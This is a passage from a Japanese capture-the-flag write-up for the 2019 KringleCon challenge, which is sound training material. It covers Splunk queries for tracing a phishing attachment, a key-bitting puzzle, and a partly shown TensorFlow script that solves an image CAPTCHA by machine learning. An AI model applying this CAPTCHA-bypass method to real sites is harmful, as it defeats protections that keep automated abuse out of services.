の2件に絞られる。イベントログのプロセスIDは16進数であるため、6268
から16進数の0x187C
に変換してイベントログから検索する。
index=main sourcetype=WinEventLog New_Process_ID=0x187C
で検索。
answer: 19th Century Holiday Cheer Assignment.docm
5. How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)
index=main sourcetype=stoq results{}.workers.smtp.subject="Holiday Cheer Assignment submission" | table results{}.workers.smtp.from | dedup results{}.workers.smtp.from | stats count
で検索。
answer: 21
6. What was the password for the zip archive that contained the suspicious file?
index=main sourcetype=stoq results{}.payload_meta.extra_data.filename="Buttercups_HOL404_assignment.zip" | table results{}.workers.smtp.from results{}.workers.smtp.body
で検索。
answer: 123456789
7. What email address did the suspicious file come from?
6のサーチ結果から。
answer: bradly.buttercups@eifu.org
What was the message for Kent that the adversary embedded in this attack?
index=main sourcetype=stoq "results{}.workers.smtp.from"="bradly buttercups <bradly.buttercups@eifu.org>" | eval results = spath(_raw, "results{}") | mvexpand results | eval path=spath(results, "archivers.filedir.path"), filename=spath(results, "payload_meta.extra_data.filename"), fullpath=path."/".filename | search fullpath!="" | table filename,fullpath
で検索。
docmファイルの実体はzipファイルであるため、中身が展開されてサーバに置かれている。 ドキュメントのプロパティはcore.xmlに書かれているので確認する。
answer: Kent you are so unfair. And we were going to make you the king of the Winter Carnival.
7) Get Access To The Steam Tunnels
ある部屋に入ると、krampusというキャラクターが逃げていく。逃げた先には鍵がかかっている。 krampusのキャラクター画像の腰元に鍵があり、その画像から鍵を作成する。
開発者ツールで観察するとkrampusの画像は以下のURLであることがわかる。
https://2019.kringlecon.com/images/avatars/elves/krampus.png
近くに鍵を作成するツールがある。krampusの画像の鍵の凸凹の深さに合わせて数値を調整する。
122520
で一致した。
鍵を解除した先で、Krampusのフルネームがわかる。
answer: Krampus Hollyfeld
8) Bypassing the Frido Sleigh CAPTEHA
100個の画像を使用したCAPTCHA認証を5秒以内に突破する問題。人間ではクリアできない時間と量であるため機械学習を使用する。 幸いにも、教師データが12000ファイルくらい与えられている。
Terminal問題をクリアして得られたヒント動画で公開されていた、以下のgithubのリポジトリを活用する。
GitHub - chrisjd20/img_rec_tf_ml_demo: Image Recognition Using TensorFlow Machine Learning Demo to recognize Apples from Bananas
モデルの作成は、上記のリポジトリのretrain.pyをそのまま使用できる。
CAPTCHA画像を取得、機械学習による解析および解答を行うプログラムは以下のとおり。
#!/usr/bin/env python3 # Fridosleigh.com CAPTEHA API - Made by Krampus Hollyfeld import requests import json import sys import base64 import os os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' import tensorflow as tf tf.logging.set_verbosity(tf.logging.ERROR) import numpy as np import threading import queue import time def load_labels(label_file): label = [] proto_as_ascii_lines = tf.gfile.GFile(label_file).readlines() for l in proto_as_ascii_lines: label.append(l.rstrip()) return label def predict_image(q, img, challenge_image_types, sess, graph, labels, input_operation, output_operation): image_bytes = base64.b64decode(img["base64"].encode("UTF-8")) image = read_tensor_from_image_bytes(image_bytes) results = sess.run(output_operation.outputs[0], { input_operation.outputs[0]: image }) results = np.squeeze(results) prediction = results.argsort()[-5:][::-1][0] if labels[prediction].title() in challenge_image_types: print(img["uuid"], labels[prediction].title()) q.put(img) return labels[prediction].title() def load_graph(model_file): graph = tf.Graph() graph_def = tf.GraphDef() with open(model_file, "rb") as f: graph_def.ParseFromString(f.read()) with graph.as_default(): tf.import_graph_def(graph_def) return graph def read_tensor_from_image_bytes(imagebytes, input_height=299, input_width=299, input_mean=0, input_std=255): image_reader = tf.image.decode_png( imagebytes, channels=3, name="png_reader") float_caster = tf.cast(image_reader, tf.float32) dims_expander = tf.expand_dims(float_caster, 0) resized = tf.image.resize_bilinear(dims_expander, [input_height, input_width]) normalized = tf.divide(tf.subtract(resized, [input_mean]), [input_std]) sess = tf.compat.v1.Session() result = sess.run(normalized) return result def main(): yourREALemailAddress = "pmkenpks@sharklasers.com" ''' MISSING IMAGE PROCESSING AND ML IMAGE PREDICTION CODE GOES HERE ''' # Loading the Trained Machine Learning Model created from running retrain.py on the training_images directory graph = load_graph('./retrain_tmp/output_graph.pb') labels = load_labels("./retrain_tmp/output_labels.txt") # Load up our session input_operation = graph.get_operation_by_name("import/Placeholder") output_operation = graph.get_operation_by_name("import/final_result") sess = tf.compat.v1.Session(graph=graph) dummy_img = {'base64': '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